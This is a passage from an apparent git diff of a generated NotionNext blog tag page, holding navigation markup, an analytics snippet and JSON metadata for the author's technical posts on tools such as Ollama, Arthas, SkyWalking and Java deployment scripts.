href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":2,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"自动化"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"自动化"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 